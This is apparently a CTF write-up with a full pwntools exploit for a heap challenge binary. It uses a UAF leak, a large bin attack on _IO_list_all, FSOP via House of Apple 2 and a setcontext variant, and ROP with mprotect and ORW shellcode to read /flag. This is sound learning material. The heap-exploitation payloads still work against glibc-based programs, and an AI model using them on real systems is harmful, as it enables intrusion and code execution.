uu64    = lambda data                 :u64(data.ljust(8, b'\0'))


def menu(choice):
    sla(b'distance.\n', choice)
    

def add(trans, dep, arr, far, note):
    menu(b'1')
    sla(b'plane?\n', trans)
    sla(b'name\n', dep)
    sla(b'name\n', arr)
    sla(b'far?\n', far)
    sa(b'Note:', note)


def delete(dep, arr):
    menu(b'2')
    sla(b'name\n', dep)
    sla(b'name\n', arr)
    
    
def show(dep, arr):
    menu(b'3')
    sla(b'name\n', dep)
    sla(b'name\n', arr)
    
    
def calc(destination):
    menu(b'5')
    sla(b'name\n', destination)


def exploit():
    trans = {
        1: b'car',
        2: b'train',
        3: b'plane',
    }
    
    cities = {
        0: b'guangzhou',
        1: b'nanning',
        2: b'changsha',
        3: b'nanchang',
        4: b'fuzhou',
    }

    # ----- 1 ----- Leak addresses
    # Deploy heap & Invoke edit
    add(trans[3], cities[4], cities[3], b'1000', b'aaaa') # 0   0x540   # heap+0x1470
    add(trans[3], cities[3], cities[2], b'1000', b'aaaa') # 1   0x540
    add(trans[1], cities[2], cities[1], b'1000', b'aaaa') # 2   0x520
    add(trans[1], cities[1], cities[0], b'1000', b'aaaa') # 3   0x520
    calc(cities[3]) # set edit_flag2 = 1
    # Write heap & usbin addr
    delete(cities[4], cities[3])    # 0 usbin
    delete(cities[2], cities[1])    # 2 usbin
    delete(cities[1], cities[0])    # 3 no usbin -> direct top chunk
    delete(cities[3], cities[2])    # 1 no usbin -> direct top chunk
    # Cover chunk 2 with data remaining
    add(trans[1], cities[1], cities[0], b'100', b'aaaa')   # 4  0x520
    add(trans[1], cities[1], cities[0], b'100', b'bbbb')   # 5  0x520
    add(trans[1], cities[4], cities[3], b'100', b'c'*0x28 + b'd'*0x8) # 6 reach to heap addr
    # Leak heap
    show(cities[4], cities[3])
    ru(b'd'*0x8)
    heap_base = uu64(r(6)) - 0x1470 
    pa('heap base', heap_base) 
    # Leak libc
    delete(cities[4], cities[3])     # free again -> top chunk
    add(trans[1], cities[4], cities[3], b'100', b'c'*0x28 + b'd'*0x10) # 7 reach to usbin addr
    show(cities[4], cities[3])
    ru(b'd'*0x10)
    libc_base = l64() - 0x21ace0
    pa('libc base', libc_base) 
    # Clean up
    delete(cities[4], cities[3])   # 7
    delete(cities[1], cities[0])   # 5 & 4
    
    # ----- 2 ----- FSOP + ORW
    # Gadgets
    _IO_list_all    = libc_base + libc.sym['_IO_list_all']
    _IO_wfile_jumps = libc_base + libc.sym['_IO_wfile_jumps']
    setcontext      = libc_base + libc.sym['setcontext'] + 61
    fake_IO         = heap_base + 0x2400    # fake _IO_FILE, @chunk_11
    p_rdi_r         = libc_base + 0x000000000002a3e5
    p_rsi_r         = libc_base + 0x000000000002be51
    p_rdx_rbx_r     = libc_base + 0x00000000000904a9
    leave_r         = libc_base + 0x000000000004da83
    add_rsp_0x28_r  = libc_base + 0x0000000000045f25
    add_rsp_0xa8_r  = libc_base + 0x00000000000434a7
    pa('_IO_list_all', _IO_list_all)
    pa('_IO_wfile_jumps', _IO_wfile_jumps)
    pa('setcontext', setcontext)
    pa('Fake FILE addr', fake_IO)
    # FSOP
    pl = flat({
        # fake_IO  
        0: {  
            # the heap happens to meet:
            # flag(0x0) = 0
            # _IO_write_ptr(0x28) > _IO_write_base(0x20)
            0x38: add_rsp_0x28_r,          
            0x48: fake_IO+0x30,  
            0x58: leave_r,
            0x60: fake_IO+0x30,
            0x68: p_rdi_r, 
            0x70: fake_IO&(~0xfff), 
            0x78: p_rsi_r, 
            0x80: 0x4000, 
            0x88: add_rsp_0xa8_r, 
            0xa0: fake_IO + 0x100,    # _wide_data 
            0xd8: _IO_wfile_jumps   # vtable
        },
        # fake_IO->_wide_data
        0x100: { 
            0x18: 0,    # _IO_write_base
            0x30: 0,    # _IO_buf_base
            0x38:[p_rdx_rbx_r, 7, 0, libc_base+libc.sym['mprotect'], fake_IO+0x100+0x70],
            0x70: asm(shellcraft.open('/flag', 0) + shellcraft.read(3, heap_base, 0x100) + shellcraft.write(1, heap_base, 0x100)),
            0xe0: fake_IO + 0x200   # _wide_vtable
        },
        # fake_IO->wide_data->_wide_vtable
        0x200: {
            # svcudp_reply+26 gadget
            # mov rbp, [rdi + 0x48]; mov rax, [rbp + 0x18]; lea r13, [rbp + 0x10]; 
            # mov [rbp + 0x10], 0; mov rdi, r13; call [rax + 0x28];
            0x68: libc_base + 0x16a06a  # stack pivot
        }
    }, filler='\0')
    
    # ----- 3 ----- Large bin Attack
    add(trans[3], cities[4], cities[3], b'1000', b'aaaa') # 8   0x540
    add(trans[2], cities[4], cities[2], b'1000', b'bbbb') # 9   0x530
    add(trans[1], cities[4], cities[1], b'1000', b'cccc') # 10  0x520
    add(trans[1], cities[3], cities[3], b'1000', pl[0x20:]) # 11    0x520
    delete(cities[4], cities[2])    # 9 -> usbin
    add(trans[3], cities[4], cities[0], b'1000', b'dddd') # 12; 9 -> largebin
    # edit
    menu(b'4')
    # choose deleted route -> chunk overlapping
    sla(b'name\n', cities[0])
    sla(b'name\n', cities[0])   
    sla(b'change?\n', b'1') # route 1 (chunk 9)
    sla(b'far?\n', b'546')  # 0x222
    # overwrite largebin chunk
    pl = flat({
        # keep same
        0x8:  0x530,    
        0x10: [libc_base+0x21b110, libc_base+0x21b110], 
        0x20: heap_base+0x19b0,
        # bk_next ptr 
        0x28: _IO_list_all-0x20,    # to change value in fd_nextsize ptr (+0x20) -> _IO_list_all   
        }, filler='\0')
    sla(b'Note:\n', pl)
    # insert smaller free'd chunk under largebin chunk 9
    delete(cities[3], cities[3])    # 11 -> usbin
    add(trans[3], cities[4], cities[4], b'1000', b'eeee') # 13; 11 (0x520) -> largebin
    # g()
    
    # ----- 4 ----- Trigger 
    # g('b *_IO_wdoallocbuf')
    menu(b'9')

    
    p.interactive()
    
    
if __name__ == '__main__':
    
    file_path = './pwn'
    libc_path = './libc.so.6'
    ld_path   = './ld-linux-x86-64.so.2'
    
    context(arch='amd64', os='linux', endian='little')
    # context.log_level='debug'
    
    e    = ELF(file_path, checksec=False)
    mode = {'local': False, 'remote': False, }
    env  = None
    
    if len(sys.argv) > 1:
        if libc_path != '':
            libc = ELF(libc_path)
        p = remote(sys.argv[1], int(sys.argv[2]))
        mode['remote'] = True
        remote_ip_addr = sys.argv[1]
        remote_port    = int(sys.argv[2])
    else:
        if libc_path != '':
            libc = ELF(libc_path)
            env  = {'LD_PRELOAD': libc_path}
        if ld_path != '':
            cmd = [ld_path, '--library-path', os.path.dirname(os.path.abspath(libc_path)), file_path]
            p   = process(cmd, env=env)
        else:
            p = process(file_path, env=env)
        mode['local'] = True
        
    exploit()

Attack Chain Analysis

Deployment & Invoke Edit

We here allocate 2 larger chunks (0x540) along with 2 smaller ones (0x520) to make size-gap compared to the chunks (4*0x520) we are going to allocate later, resulting in chunk overlapping due the UAF vulnerability:

add(trans[3], cities[4], cities[3], b'1000', b'aaaa') # 0   0x540   
add(trans[3], cities[3], cities[2], b'1000', b'aaaa') # 1   0x540
add(trans[1], cities[2], cities[1], b'1000', b'aaaa') # 2   0x520
add(trans[1], cities[1], cities[0], b'1000', b'aaaa') # 3   0x520

Further, to access the "Edit route" option (edit), it requires edit_flag1 & edit_flag2 NOT to be 0:

if ( !edit_flag1 )
{
    puts("You've already edited it!");
    exit(1);
}
if ( !edit_flag2 )
{
    puts("You don't need to edit anymore.");
    exit(1);
}

If we are able to access the edit function and run, edit_flag1 (initial value 1) will be set to 0 at the end to prevent multiple edits — it means we have only 1 chance to run this option.

As for edit_flag2, it relates to the Dijkstra function:

puts("Where do you want to travel?");
destination = get_city_name();
printf("It is %dkm away from Guangzhou.\n", (unsigned int)v9[destination]);
if ( min_distances[destination] > 2000 && min_distances[destination] != 9999 )
{
	puts("That's so far! Please review and rewrite it!");
	++edit_flag2;	// Increment the edit flag
}

So we need to make the min_distances[destination], aka the distance from a city to "Guangzhou", larger than 2000. Then we can use the edit function to write on a free'd chunk in the bin.

Leak Data | Chunk Overlapping

As we introduced in the delete function code reviewing, it only clears the first 8 bytes when the pointer is free'd:

*(_DWORD *)routes[i] = 0;               // Clear the departure city in the route
*(_DWORD *)(routes[i] + 4LL) = 0;       // Clear the destination city in the route
free((void *)routes[i]);                // Free the allocated chunk for the route

Therefore, other data remains on the heap, including the fd & bk pointers if we free the chunks:

Free all chunks and they will be consolidated into top chunk, with such sensitive data remaining.

Besides, as we introduced in the code review part, when we add the note into the allocated chunk for route, it uses read function to write data on the chunk without a null terminator. It means we can later use show to leak the string adjacent to the sensitive data, resulting in Out-of-Bound Read.

As we constructed some size-gap resulting chunk overlapping in the first step, now we can leak the heap address and calculate heap base:

Add 8 more bytes to the route chunk to leak libc base address:

FSOP | Hijack vtable

Next step we can design a payload to exploit the _IO File Structure (vtable hijacking) by overwriting the _IO_list_all pointer, a common technique to gain control over the program's execution flow. I am not gonna explain these structs and why we have to hijack specific pointers in the writeup (for another writeup of FSOP in the future and now we can refer to this article), but to illustrate their structure by indicating offsets we care about to construct the payload.

The _IO_list_all is a struct of _IO_FILE_plus:

It's consist of 2 structs: struct _IO_FILE file and struct _IO_jump_t *vtable.

  • _IO_FILE: Starts at offset 0x0 and is 0xd8 bytes in size.
  • vtable: Starts at offset 0xd8 (8 bytes).

To view the _IO_FILE struct in GDB, we can run command ptype /o:

struct _IO_FILE {
    int _flags;                     // 4 bytes
    char *_IO_read_ptr;             // 8 bytes (pointer)
    char *_IO_read_end;             // 8 bytes (pointer)
    char *_IO_read_base;            // 8 bytes (pointer)
    char *_IO_write_base;           // 8 bytes (pointer)
    char *_IO_write_ptr;            // 8 bytes (pointer)
    char *_IO_write_end;            // 8 bytes (pointer)
    char *_IO_buf_base;             // 8 bytes (pointer)
    char *_IO_buf_end;              // 8 bytes (pointer)
    char *_IO_save_base;            // 8 bytes (pointer)
    char *_IO_backup_base;          // 8 bytes (pointer)
    char *_IO_save_end;             // 8 bytes (pointer)
    struct _IO_marker *_markers;    // 8 bytes (pointer)
    struct _IO_FILE *_chain;        // 8 bytes (pointer)
    int _fileno;                    // 4 bytes
    int _flags2;                    // 4 bytes
    __off_t _old_offset;            // 8 bytes
    unsigned short _cur_column;     // 2 bytes
    signed char _vtable_offset;     // 1 byte
    char _shortbuf[1];              // 1 byte
    _IO_lock_t *_lock;              // 8 bytes (pointer)
    __off64_t _offset;              // 8 bytes
    struct _IO_codecvt *_codecvt;   // 8 bytes (pointer)
    struct _IO_wide_data *_wide_data;  // 8 bytes (pointer)
    struct _IO_FILE *_freeres_list; // 8 bytes (pointer)
    void *_freeres_buf;             // 8 bytes (pointer)
    size_t __pad5;                  // 8 bytes
    int _mode;                      // 4 bytes
    char _unused2[20];              // 20 bytes
};

Offsets for _IO_FILE:

  1. _flags: Starts at offset 0x0 (4 bytes).
  2. _IO_read_ptr: Starts at offset 0x8 (next multiple of 8 after _flags).
  3. _IO_read_end: Starts at offset 0x10 (next 8 bytes).
  4. _IO_read_base: Starts at offset 0x18 (next 8 bytes).
  5. _IO_write_base: Starts at offset 0x20 (next 8 bytes).
  6. _IO_write_ptr: Starts at offset 0x28 (next 8 bytes).
  7. _IO_write_end: Starts at offset 0x30 (next 8 bytes).
  8. _IO_buf_base: Starts at offset 0x38 (next 8 bytes).
  9. _IO_buf_end: Starts at offset 0x40 (next 8 bytes).
  10. _IO_save_base: Starts at offset 0x48 (next 8 bytes).
  11. _IO_backup_base: Starts at offset 0x50 (next 8 bytes).
  12. _IO_save_end: Starts at offset 0x58 (next 8 bytes).
  13. _markers: Starts at offset 0x60 (next 8 bytes).
  14. _chain: Starts at offset 0x68 (next 8 bytes).
  15. _fileno: Starts at offset 0x70 (4 bytes).
  16. _flags2: Starts at offset 0x74 (4 bytes).
  17. _old_offset: Starts at offset 0x78 (next 8 bytes).
  18. _cur_column: Starts at offset 0x80 (2 bytes).
  19. _vtable_offset: Starts at offset 0x82 (1 byte).
  20. _shortbuf[1]: Starts at offset 0x83 (1 byte).
  21. _lock: Starts at offset 0x88 (next multiple of 8 bytes for alignment, 8 bytes).
  22. _offset: Starts at offset 0x90 (8 bytes).
  23. _codecvt: Starts at offset 0x98 (8 bytes).
  24. _wide_data: Starts at offset 0xa0 (8 bytes).
  25. _freeres_list: Starts at offset 0xa8 (8 bytes).
  26. _freeres_buf: Starts at offset 0xb0 (8 bytes).
  27. __pad5: Starts at offset 0xb8 (8 bytes).
  28. _mode: Starts at offset 0xc0 (4 bytes).
  29. _unused2[20]: Starts at offset 0xc4 (20 bytes).

At the offset of 0xa0, there's the _wide_data we need to care about in our exploit — if we modify the vtable pointer to something like _IO_wxxxx_jumps, Glibc then considers it as the wide-character file stream and dives into this area to "look" for the corresponding struct type to deal with it, eventually triggers _IO_wfile_overflow. And the _wide_data field stores a pointer that points to the struct _IO_wide_data — the "wide" version of _IO_FILE:

struct _IO_wide_data {
    wchar_t *_IO_read_ptr;       // Offset: 0x00, Size: 0x08
    wchar_t *_IO_read_end;       // Offset: 0x08, Size: 0x08
    wchar_t *_IO_read_base;      // Offset: 0x10, Size: 0x08
    wchar_t *_IO_write_base;     // Offset: 0x18, Size: 0x08
    wchar_t *_IO_write_ptr;      // Offset: 0x20, Size: 0x08
    wchar_t *_IO_write_end;      // Offset: 0x28, Size: 0x08
    wchar_t *_IO_buf_base;       // Offset: 0x30, Size: 0x08
    wchar_t *_IO_buf_end;        // Offset: 0x38, Size: 0x08
    wchar_t *_IO_save_base;      // Offset: 0x40, Size: 0x08
    wchar_t *_IO_backup_base;    // Offset: 0x48, Size: 0x08
    wchar_t *_IO_save_end;       // Offset: 0x50, Size: 0x08
    __mbstate_t _IO_state;       // Offset: 0x58, Size: 0x08
    __mbstate_t _IO_last_state;  // Offset: 0x60, Size: 0x08
    struct _IO_codecvt {         // Offset: 0x68, Size: 0x70 (112 bytes)
        _IO_iconv_t __cd_in;     // Offset: 0x68, Size: 0x38 (56 bytes)
        _IO_iconv_t __cd_out;    // Offset: 0xA0, Size: 0x38 (56 bytes)
    } _codecvt;                  // Total size: 0x70 (112 bytes)
    wchar_t _shortbuf[1];        // Offset: 0xD8, Size: 0x04
    /* Hole: 4 bytes */          // Offset: 0xDC (4-byte padding)
    const struct _IO_jump_t *_wide_vtable;  // Offset: 0xE0, Size: 0x08
    /* Total size: 0xE8 (232 bytes) */
};

If we can control the pointers inside this struct or the pointers inside the _wide_vtable, we may hijack the execution flow (RIP) when some specific chains triggered — there's no validation for the relevant wide-series functions yet, unlike the vtable pointer in _IO_FILE.

As we talked about modifying the vtable pointer, let's bring our attention back on the target in struct _IO_FILE_plus — The last 8 bytes (*vtable) are _IO_jump_t struct/table:

It points to a set of function pointers — namely the GLIBC internal functions. We used to hijack the vtable pointer directly to complete the attack in lower versions of Glibc, but it's patched with some restrictions which we gonna introduce later.

Overall, to complete the attack, we need to consider:

  1. _IO_list_all Hijacking: By overwriting _IO_list_all with a pointer to the fake _IO_FILE structure at fake_IO, the next I/O operation will trigger this fake structure to be used, giving control over the vtable.
  2. Vtable Hijacking: Inside the fake structure, make the vtable point to _IO_wfile_jumps, which controls the virtual function calls. By manipulating these pointers and offsets, we can control the flow of execution.
  3. mprotect for Executable Shellcode: Use mprotect() to mark a portion of the heap as executable, allowing ORW shellcode to be run from the heap, for the openat function is restricted by seccomp.
  4. ORW Shellcode Execution: Open the /flag file, read the contents into memory, and writes them to stdout/stderr to exfiltrate the flag.

House of Apple 2

However, before dereferencing the vtable, GLIBC checks if the address resides inside the __libc_IO_vtables section:

static inline const struct _IO_jump_t *
IO_validate_vtable (const struct _IO_jump_t *vtable)
{
  /* Fast path: The vtable pointer is within the __libc_IO_vtables
     section.  */
  uintptr_t section_length = __stop___libc_IO_vtables - __start___libc_IO_vtables;
  uintptr_t ptr = (uintptr_t) vtable;
  uintptr_t offset = ptr - (uintptr_t) __start___libc_IO_vtables;
  if (__glibc_unlikely (offset >= section_length))
    /* The vtable pointer is not in the expected section.  Use the
       slow path, which will terminate the process if necessary.  */
    _IO_vtable_check ();
  return vtable;
}

Therefore, we can’t simply redirect the vtable to anywhere we want. But, inside the __libc_IO_vtables section, there are other jump tables that are meant for other types of streams, like the _IO_str_jumps table or the _IO_wfile_jumps table. These tables also contain a bunch of function pointers, that we can modify the _wide_vtable pointer inside _IO_wide_data to internally call any of these functions.

In recent years, there was a patch for the _IO_str_overflow & _IO_str_finish functions in _IO_str_jumps table. So we are gonna exploit using the _IO_wfile_jumps table, namely House of Apple 2 (read the author's article for details). As we introduced earlier, the struct looks like:

struct _IO_jump_t {
    size_t __dummy;              // Offset: 0x00, Size: 0x08
    size_t __dummy2;             // Offset: 0x08, Size: 0x08
    _IO_finish_t __finish;       // Offset: 0x10, Size: 0x08
    _IO_overflow_t __overflow;   // Offset: 0x18, Size: 0x08
    _IO_underflow_t __underflow; // Offset: 0x20, Size: 0x08
    _IO_underflow_t __uflow;     // Offset: 0x28, Size: 0x08
    _IO_pbackfail_t __pbackfail; // Offset: 0x30, Size: 0x08
    _IO_xsputn_t __xsputn;       // Offset: 0x38, Size: 0x08
    _IO_xsgetn_t __xsgetn;       // Offset: 0x40, Size: 0x08
    _IO_seekoff_t __seekoff;     // Offset: 0x48, Size: 0x08
    _IO_seekpos_t __seekpos;     // Offset: 0x50, Size: 0x08
    _IO_setbuf_t __setbuf;       // Offset: 0x58, Size: 0x08
    _IO_sync_t __sync;           // Offset: 0x60, Size: 0x08
    _IO_doallocate_t __doallocate; // Offset: 0x68, Size: 0x08
    _IO_read_t __read;           // Offset: 0x70, Size: 0x08
    _IO_write_t __write;         // Offset: 0x78, Size: 0x08
    _IO_seek_t __seek;           // Offset: 0x80, Size: 0x08
    _IO_close_t __close;         // Offset: 0x88, Size: 0x08
    _IO_stat_t __stat;           // Offset: 0x90, Size: 0x08
    _IO_showmanyc_t __showmanyc; // Offset: 0x98, Size: 0x08
    _IO_imbue_t __imbue;         // Offset: 0xA0, Size: 0x08
};

We can hijack pointers like _overflow, _seekoff, doallocate, etc. It depends on which attack chains we gonna exploit.

In this part we will exploit the following attack chain of House of Apple 2:

_IO_wfile_overflow
    _IO_wdoallocbuf
        _IO_WDOALLOCATE
            *(fp->_wide_data->_wide_vtable + 0x68)(fp)

In conclusion, we need a fake _IO_File in the first place. These are the values we need to change on a controlled heap, to meet the requirements of this attack chain:

  • _flags = ~(2 | 0x8 | 0x800). If we don't need to control rdi，we can simply make it 0；if we want to manage to get shell, set it as sh; (add two space ahead).
  • Write vtable pointer to _IO_wfile_jumps/_IO_wfile_jumps_mmap/_IO_wfile_jumps_maybe_mmap, so that we can call the _IO_wfile_overflow functon.
  • Set _wide_data to a heap address we are in control (i.e. A)，namely *(fp + 0xa0) = A.
  • Set _wide_data->_IO_write_base to 0，namely *(A + 0x18) = 0.
  • Set _wide_data->_IO_buf_base to 0，namely *(A + 0x30) = 0.
  • Set _wide_data->_wide_vtable to a heap address we are in control (i.e. B)，namely *(A + 0xe0) = B.
  • Set _wide_data->_wide_vtable->doallocate as address C (usually a function or gadget), so that we can hijack RIP，namely *(B + 0x68) = C

Payload | FSOP

According to the ideas introduced above, we construct our payload for the FSOP attack as:

pl = flat({
    # fake_IO  
    0: {  
        # the heap happens to meet:
        # flag(0x0) = 0
        # _IO_write_ptr(0x28) > _IO_write_base(0x20)
        0x38: add_rsp_0x28_r,          
        0x48: fake_IO+0x30,  
        0x58: leave_r,
        0x60: fake_IO+0x30,
        0x68: p_rdi_r, 
        0x70: fake_IO&(~0xfff), 
        0x78: p_rsi_r, 
        0x80: 0x4000, 
        0x88: add_rsp_0xa8_r, 
        0xa0: fake_IO + 0x100,    # _wide_data 
        0xd8: _IO_wfile_jumps   # vtable
    },
    # fake_IO->_wide_data
    0x100: { 
        0x18: 0,    # _IO_write_base
        0x30: 0,    # _IO_buf_base
        0x38:[p_rdx_rbx_r, 7, 0, libc_base+libc.sym['mprotect'], fake_IO+0x100+0x70],
        0x70: asm(shellcraft.open('/flag', 0) + shellcraft.read(3, heap_base, 0x100) + shellcraft.write(1, heap_base, 0x100)),
        0xe0: fake_IO + 0x200   # _wide_vtable
    },
    # fake_IO->wide_data->_wide_vtable
    0x200: {
        # svcudp_reply+26 gadget
        # mov rbp, [rdi + 0x48]; mov rax, [rbp + 0x18]; lea r13, [rbp + 0x10]; 
        # mov [rbp + 0x10], 0; mov rdi, r13; call [rax + 0x28];
        0x68: libc_base + 0x16a06a  # stack pivot
    }
}, filler='\0')
  1. Vtable Hijacking: The vtable (virtual table) in glibc's _IO_FILE structure contains function pointers that dictate how file streams (like stdout, stderr, or custom FILE objects) handle operations such as reading, writing, flushing, etc.By hijacking the vtable and pointing it to _IO_wfile_jumps, we are essentially redirecting those file-handling operations (which would usually be handled by functions like fwrite, fread, etc.) to the wide character stream functions defined in _IO_wfile_jumps.
  2. _IO_wfile_jumps: _IO_wfile_jumps is a special vtable that handles wide-character file streams (wchar_t streams). When we hijack the vtable to point to _IO_wfile_jumps, the program will start using the wide-character functions (such as _IO_wfile_overflow, _IO_wfile_underflow) when performing I/O operations.
  3. Control Over wide_data: After hijacking the vtable to _IO_wfile_jumps, the program will now treat the file stream as a wide-character stream. This means it will reference the _wide_data field in the _IO_FILE structure, which is a pointer to the _IO_wide_data structure. By controlling the _wide_data pointer, we can point it to a controlled area in the heap.

We will place this payload in the entrance of our fake _IO_list_all structure on chunk 11:

The address of chunk 11 will be written into _IO_list_all via the large bin attack introduced followingly. And we will further analyze how this works after we trigger the attack chain, when the program exists.

Start | Svcudp_reply+26 Gadget

We should notice that at the end of the payload, we use the svcudp_reply+26 gadget as a start point (at _wide_vtable pointer) when the FSOP is triggered, which we introduced in this post:

mov rbp, qword ptr [rdi + 0x48]; 	# 1
mov rax, qword ptr [rbp + 0x18]; 	# 2
lea r13, [rbp + 0x10]; 
mov dword ptr [rbp + 0x10], 0; 
mov rdi, r13; 
call qword ptr [rax + 0x28];		# 3

When functions like _IO_wfile_overflow is triggered, rdi stores the address the fake IO struct we control, as the first parameter. It eventually calls the leave; ret gadget we deploy at specific offset, which will be illustrated in the last part.

Usually, the svcdup_reply+26 gadget is removed in Glibc 2.35 version. But we just have it here — Ubuntu GLIBC 2.35-0ubuntu3.8. So this is an easy way for us to control the execution flow.

Edit | Overwrite Largebin Chunk

As the vulnerability we introduced in the edit function part, we can manage to overwrite a free'd chunk in large bin by using the edit feature, for once. So we are gonna write _IO_list_all - 0x20 into the bk_nextsize field on the larger chunk 9 in large bin:

# edit
menu(b'4')
# choose deleted route -> chunk overlapping
sla(b'name\n', cities[0])
sla(b'name\n', cities[0])   
sla(b'change?\n', b'1') # route 1 (chunk 9)
sla(b'far?\n', b'546')  # 0x222
# overwrite largebin chunk
pl = flat({
    # keep same
    0x8:  0x530,    
    0x10: [libc_base+0x21b110, libc_base+0x21b110], 
    0x20: heap_base+0x19b0,
    # bk_next ptr 
    0x28: _IO_list_all-0x20,    # to change value in fd_nextsize ptr (+0x20) -> _IO_list_all   
    }, filler='\0')
sla(b'Note:\n', pl)

Then we can manage to insert the victim chunk 11 (fake_IO) which should be smaller than this chunk 9 to trigger the Large bin Attack — modify the value stored in the _IO_list_all pointer to the address our fake_IO heap.

Large Bin Attack

Leverage the Large Bin Attack introduced in this post, now we are able to trigger the attack to modify the value stored in _IO_list_all table. Simply insert chunk 11 (Fake_IO) which is smaller than chunk 9 positioned bottom in the large bin list:

# insert smaller free'd chunk under largebin chunk 9
delete(cities[3], cities[3])    # 11 -> usbin
add(trans[3], cities[4], cities[4], b'1000', b'eeee') # 13; 11 (0x520) -> largebin

The address stored in the _IO_list_all pointer now has been changed to Fake_IO header.

Trigger

To trigger FSOP, we simply choose an option "9" for the menu, the program will run exit(1) from main.

Since we hijacked the vtable pointer in _IO_list_all to _IO_wfile_jumps, the process will then consider this is the wide-character stream, runs _IO_fwile_overflow and jump into _wide_data field. And we also fake the _wide_data struct with some specific values to meet the requirements of attack chain introduced in previous analysis. Due to a lack of security validation in these wide-series functions, the function/gadget stored at _wide_vtable which we hijacked (the _IO_WDOALLOCATE at offset 0x68) will be executed:

_IO_wfile_overflow
    _IO_wdoallocbuf
        _IO_WDOALLOCATE
            *(fp->_wide_data->_wide_vtable + 0x68)(fp)
  • fp here points to the Fake_IO struct we hijacked, acts as the first parameter for this function stored in rdi register.

The way we manage to control execution flow to this point:

# fake_IO
fake_IO+0: 0	# _flag
fake_IO+0xa0: fake_IO + 0x100	# _wide_data
fake_IO+0xd8: _IO_wfile_jumps	# vtable pointer
|
# look for _wide_data
fake_IO+0x100+0x18: 0	# _IO_write_base
fake_IO+0x100+0x30: 0   # _IO_buf_base
fake_IO+0x100+0xe0: fake_IO + 0x200   # _wide_vtable
|
# jump to _wide_vtable
fake_IO+0x200+0x68: svcudp_reply+26 gadget	# @_IO_WDOALLOCATE; rip

Further, the _IO_WDOALLOCATE above was modified by us to the svcdup_reply+26 gadget via the fake structs and tables. Refer to our payload, step into the execution flow:

# svcdup_reply+26 (@_IO_WDOALLOCATE)
mov rbp, [rdi + 0x48]: rbp = fake_IO+0x30
|
mov rax, [rbp + 0x18]: rax = fake_IO+0x30
|
lea r13, [rbp + 0x10]; mov [rbp + 0x10], 0; mov rdi, r13; # we don't care
|
call [rax + 0x28]: call "leave; ret" gadget
|
# leave ret
mov rsp, rbp: rsp = rbp = fake_IO+0x30
|
pop rbp: rbp = fake_IO+0x30; rsp = fake_IO+0x30+0x8
|
ret: call add_rsp_0x28_r (@fake_IO+0x38)
|
# ORW Chain
fake_IO+0x68: p_rdi_r
|
fake_IO+0x70: fake_IO&(~0xfff)	# page alignment
|
fake_IO+0x78: p_rsi_r
|
fake_IO+0x80: 0x4000	# page size
|
fake_IO+0x88: add_rsp_0xa8_r	# jump over
|
fake_IO+0x138: p_rdx_rbx_r
|
fake_IO+0x140: 7	# rwx
|
fake_IO+0x148: 0	# junk rbx
|
fake_IO+0x150: libc_base+libc.sym['mprotect']	# set heap executable
|
fake_IO+0x158: fake_IO+0x170	# retunr addr
|
# ORW shell code
fake_IO+0x170: asm(shellcraft.open('/flag', 0) + shellcraft.read(3, heap_base, 0x100) + shellcraft.write(1, heap_base, 0x100))

Eventually, it executes the ORW shellcode and leaks the flag:

SOLUTION 2 | Setcontext

As we said before, gadget svcudp_reply+26 is removed from GLIBC 2.35 for most cases. What if we cannot use this magic gadget?

Well, there're always other options. For example the setcontext gadget we introduced in this post. The whole EXP is likely the same, except we replace the pl (payload) part to be written on chunk 11 (fake_IO):

...

# Gadgets
_IO_list_all    = libc_base + libc.sym['_IO_list_all']
_IO_wfile_jumps = libc_base + libc.sym['_IO_wfile_jumps']
setcontext      = libc_base + libc.sym['setcontext'] + 61
mprotect        = libc_base + libc.sym['mprotect']
fake_IO         = heap_base + 0x2400    # fake _IO_FILE, @chunk_11
orw_addr        = fake_IO + 0xe0 +0x50
p_rdi_r         = libc_base + 0x000000000002a3e5
p_rsi_r         = libc_base + 0x000000000002be51
p_rdx_rbx_r     = libc_base + 0x00000000000904a9
leave_r         = libc_base + 0x000000000004da83
add_rsp_0x28_r  = libc_base + 0x0000000000045f25
add_rsp_0xa8_r  = libc_base + 0x00000000000434a7
ret             = libc_base + 0x00000000000f8c92
pa('_IO_list_all', _IO_list_all)
pa('_IO_wfile_jumps', _IO_wfile_jumps)
pa('setcontext', setcontext)
pa('Fake FILE addr', fake_IO)
# FSOP
pl = flat({
    0: {
        0x88: fake_IO,  # lock
        0xa0: fake_IO + 0x100,  # _wide_data = rdx
        0xd8: _IO_wfile_jumps,
    },
    0x100: { 
        0x18: 0,
        0x30: 0,
        0x40: asm(shellcraft.cat('/flag')),
        0xa0: [fake_IO+0x300, ret],
        0xe0: fake_IO + 0x200,
    },
    0x200: {
        0x68: setcontext,
    },
    0x300:{
        0x0: [p_rdi_r, fake_IO&(~0xfff), p_rsi_r, 0x4000, p_rdx_rbx_r, 7, 0, mprotect, fake_IO+0x140]
    }
}, filler='\0')

...
  • Hijack the _IO_wdoallocbuf (+0x1e0) to the pointer contains setcontext+61 gadget.
  • Change the _lock field (+0x88) for the fake_IO struck to the address of the fake IO.
  • Modify the _wide_data field (+0xa0) of fake IO, at the same time, it's the value of rdx.
  • I place the full _mprotect section to another space because it takes too much memory (0x40 bytes)
  • The rest is basically the same as Solution 1.

Works fine to output result of cat /flag command:

Are you watching me?